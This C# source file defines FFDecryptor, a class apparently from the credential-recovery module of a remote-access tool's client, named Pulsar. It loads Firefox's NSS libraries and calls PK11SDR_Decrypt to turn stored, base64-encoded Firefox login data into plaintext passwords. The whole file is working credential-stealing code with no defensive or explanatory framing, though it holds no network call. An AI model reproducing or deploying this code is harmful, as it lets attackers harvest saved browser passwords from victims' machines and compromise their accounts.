using Pulsar.Client.Utilities;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Recovery.Browsers
{
///
/// Provides methods to decrypt Firefox credentials.
///
public class FFDecryptor : IDisposable
{
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate long NssInit(string configDirectory);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate long NssShutdown();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx);
private NssInit NSS_Init;
private NssShutdown NSS_Shutdown;
private Pk11sdrDecrypt PK11SDR_Decrypt;
private IntPtr NSS3;
private IntPtr Mozglue;
public long Init(string configDirectory)
{
string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\");
Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll"));
NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll"));
IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init");
IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown");
IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt");
NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit));
PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt));
NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown));
return NSS_Init(configDirectory);
}
public string Decrypt(string cypherText)
{
IntPtr ffDataUnmanagedPointer = IntPtr.Zero;
StringBuilder sb = new StringBuilder(cypherText);
try
{
byte[] ffData = Convert.FromBase64String(cypherText);
ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length);
Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length);
TSECItem tSecDec = new TSECItem();
TSECItem item = new TSECItem();
item.SECItemType = 0;
item.SECItemData = ffDataUnmanagedPointer;
item.SECItemLen = ffData.Length;
if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
{
if (tSecDec.SECItemLen != 0)
{
byte[] bvRet = new byte[tSecDec.SECItemLen];
Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen);
return Encoding.ASCII.GetString(bvRet);
}
}
}
catch (Exception)
{
return null;
}
finally
{
if (ffDataUnmanagedPointer != IntPtr.Zero)
{
Marshal.FreeHGlobal(ffDataUnmanagedPointer);
}
}
return null;
}
[StructLayout(LayoutKind.Sequential)]
public struct TSECItem
{
public int SECItemType;
public IntPtr SECItemData;
public int SECItemLen;
}
///
/// Disposes all managed and unmanaged resources associated with this class.
///
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
NSS_Shutdown();
NativeMethods.FreeLibrary(NSS3);
NativeMethods.FreeLibrary(Mozglue);
}
}
}
}